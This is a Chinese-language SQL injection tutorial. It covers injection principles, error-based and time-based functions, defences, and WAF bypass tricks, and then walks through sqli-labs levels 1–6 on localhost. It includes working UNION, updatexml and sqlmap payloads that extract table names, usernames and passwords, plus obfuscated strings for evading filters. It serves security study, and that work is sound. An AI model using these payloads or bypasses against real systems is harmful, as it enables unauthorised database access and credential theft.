一、SQL注入
SQL注入原理
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入产生的条件
1.传递给后端的参数是可以控制的
2.参数内容会被带入到数据库查询
3.变量未存在过滤或者过滤不严谨
SQL注入常用函数及含义
1.聚和函数
group_concat(table_name)
GROUP_CONCAT(column_name):告诉数据库将指定列的所有值连接起来。
GROUP_CONCAT() 可以接收多个参数和选项来定制其行为,比如:
指定分隔符:默认情况下,GROUP_CONCAT() 使用逗号(,)作为分隔符来连接值。你可以通 过 SEPARATOR 关键字来指定一个不同的分隔符。
排序:你可以在 GROUP_CONCAT() 内部使用 ORDER BY 来定义连接值的顺序。
concat(str1,str2,str3) 连接字符串的函数
2.数据截取函数
substring() and mid() and substr() 三个mysql自带的数据截取函数
3.报错函数
利用extractvalue()函数进行报错注入
extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。
语法: extractValue(xml_document, xpath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,
第二个参数:XPath_string (Xpath格式的字符串);
Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行 后报错
利用updatexml()函数进行报错注入
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
语法:UPDATEXML (xml_document, XPathstring, new_value)。
第一个参数:xml_document,文档名称。
第二个参数:XPathstring (Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值。
利用floor()函数进行报错注入
主要报错原因为:count()+rand()+group_by()导致主键重复。
因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取 数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中, 则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行 的数据。
4.延时注入用到的函数
if函数 if(expr1,expr2,expr3) 如果expr1判断为真,则返回expr2值,否则expr3的值
sleep()函数 sleep(duration) 这个函数的作用就是休眠,参数是休眠的时长,以秒为单位
ord()函数 ord(character)函数是返回一个字符的ASCII码。
length()函数 length(string)函数是否返回一个字符串的长度。
SQL注入防御手段
1.使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一,通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,因此可以避免注入攻击。
2.使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。
3.使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。
4.验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。
5.使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。
6.限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户,这样即使发生注入攻击,攻击者能做的也非常有限。
7.定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。
8.使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。
9.定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。
10.使用参数化查询:无论何时,只要可能都应该使用参数化查询,而不是拼接SQL字符串
SQL注入常用绕过waf的方法
方法1:变换大小写
比如WAF拦截了union,那就是用Union、UnIoN等方式绕过。
方法2:编码
WAF检测敏感字‘~’,则可以用编码0x7e代替
WAF检测敏感字select,则可以在URL中将select变成%73elEcT,编码接合大小写变换绕过WAF
可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等来替换空格
方法3:利用注释符
适用于WAF只过滤了一次危险的语句,没有阻断整个查询语句的场合。
原查询语句为:?id=1 union select 1,2,3 对于这条查询,WAF过滤了一次union和select,我们可以在原查询语句union和select之前再写一个注释的语句,让WAF把注释里面的过滤掉,
?id=1/*union*/union/*select*/select 1,2,3
方法4:重写
适用于WAF只过滤一次敏感字的情况
WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3
方法5:比较操作符替换
适用于某一比较操作符(如等号)被过滤的情况
!=不等于,<>不等于,<小于,>大于,这些都可以用来替换 = 来绕过。
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75
WAF将=、>、<、全部过滤,则可以利用like来绕过
?id=1' or 1 like 1
方法6:同功能函数替换
适用于某一函数被过滤的情况。
假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr等函数来替换,都是用来取字符串的某一位字符的。
原查询语句
substring((select 'password'),1,1)=0x70
替换后的查询语句
substr((select 'password'),1,1)=0x70
mid((select 'password'),1,1)=0x70
方法7:盲注的活用
适用于页面无回显或多种函数、逻辑运算符被过滤的情况
strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2,则函数返回0,expr1<expr2则返 回-1,expr1>expr2则返回1。
假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or,原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是
正确的。否则就说明不是B,这样猜就不用and和or了。
二、SQLi手工注入的步骤
1.识别注入点
测试输入字段:在网站的输入字段(如登录框、搜索框、注册表单等)中尝试输入简单的SQL注入测试字符(如单引号 '),观察系统的响应。
查看URL和表单参数:检查URL中的参数和HTTP请求的表单字段,尝试修改或添加SQL注入载荷。
2.确定注入点是否有效
错误消息:观察是否有数据库错误消息返回,这些错误消息可以揭示数据库的类型和结构。
布尔型测试:通过注入布尔型条件(如 1=1 或 1=2)来验证是否能改变查询的逻辑结果,从而判断是否存在注入漏洞。
时间延迟测试:使用时间延迟函数(如 SLEEP(5))来验证是否能通过时间变化判断注入的有效性。
3.探测数据库结构
查询数据库版本:通过注入语句获取数据库版本信息。
获取表名:使用注入语句提取数据库中的表名。
获取列名:确定表结构,通过查询获取列名。
4.数据提取
提取数据:根据获取的表和列信息,构造注入语句提取具体数据。
联合查询:使用 UNION 语句将注入的数据与正常数据结合,从而提取更多信息。
5.绕过安全措施
编码绕过:对注入载荷进行编码(如 URL 编码、十六进制编码)来绕过应用的过滤器。
盲注:在没有直接反馈的情况下,通过逻辑推测和时间延迟来获取信息(盲注分为基于布尔值的盲注和基于时间的盲注)。
6.后续步骤
漏洞验证:确认注入点的确存在漏洞,确保测试结果的一致性。
修复建议:提出修复建议,如使用参数化查询、准备语句等防止SQL注入的措施
三、sqli-labs 1-6关
第一关
输入?id=1,发现存在注入点
输入and 1=2测试,页面回显正常,则此处不是数值查询
在?id=1后加上‘,发现页面回显不正常,则可能存在SQL字符注入
输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
接着使用order by 语句判断,该表中一共有几列数据
order by 3页面回显正常,order by 4页面回显不正常,说明此表有3列
使用联合查询,判断回显位置
?id=-1'union select 1,2,3--+
获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
通过上述操作可以得到两个敏感字段就是username和password,接下来就要得到该字段对应的内容。(id用来分隔账户和密码)
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
输入单引号和双引号都报错,所以猜测是数字型注入
参考第一关的步骤,判断此表有三列
?id=1 order by 3
使用联合查询,判断回显位置:
?id=-1 union select 1,2,3
获取数据名和版本号
?id=-1 union select 1,database(),version()
得到两个敏感字段username和password
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
得到该字段内容
?id=-1 union select 1,2,group_concat(username ,id , password) from users
第三关
输入?id=2'测试报错,推断sql语句是单引号字符型且有括号
使用')闭合,不再报错
判断数据库中当前表存在3列
?id=1') order by 3--+
联合查询判断回显位置为2,3
?id=-1') union select 1,2,3--+
获取数据名和版本号
?id=-1') union select 1,database(),version()--+
使用information_schema查询表名,字段,内容
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
输入?id=1"测试报错,推断sql语句是双引号字符型且有括号
使用”)闭合,不再报错
判断数据库中当前表存在3列
?id=1") order by 3--+
联合查询判断回显位置为2,3
?id=-1") union select 1,2,3--+
获取数据名和版本号
?id=-1") union select 1,database(),version()--+
使用information_schema查询表名,字段,内容
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关
测试判断为字符型 ’ 闭合,且不适合联合注入,可以使用updatexml()函数
依次爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
发现只有1列 加入参数:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
最后爆出用户名,密码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password)from users),0x7e),1) --+
第六关(sqlmap)
测试是否存在SQL注入点
python sqlmap.py -u localhost/sqli/Less-6/?id=1
结果显示id变量存在注入点,注入方法可以是布尔盲注,报错注入或时间盲注
爆当前数据库名
python sqlmap.py -u localhost/sqli/Less-6/?id=1 --dbms=MySQL --current-db
爆表名
python sqlmap.py -u localhost/sqli/Less-6/?id=1 --dbms=MySQL -D ’security’ --tables
爆字段
python sqlmap.py -u localhost/sqli/Less-6/?id=1 --dbms=MySQL -D ’security’ --tables -T ‘users’ --dump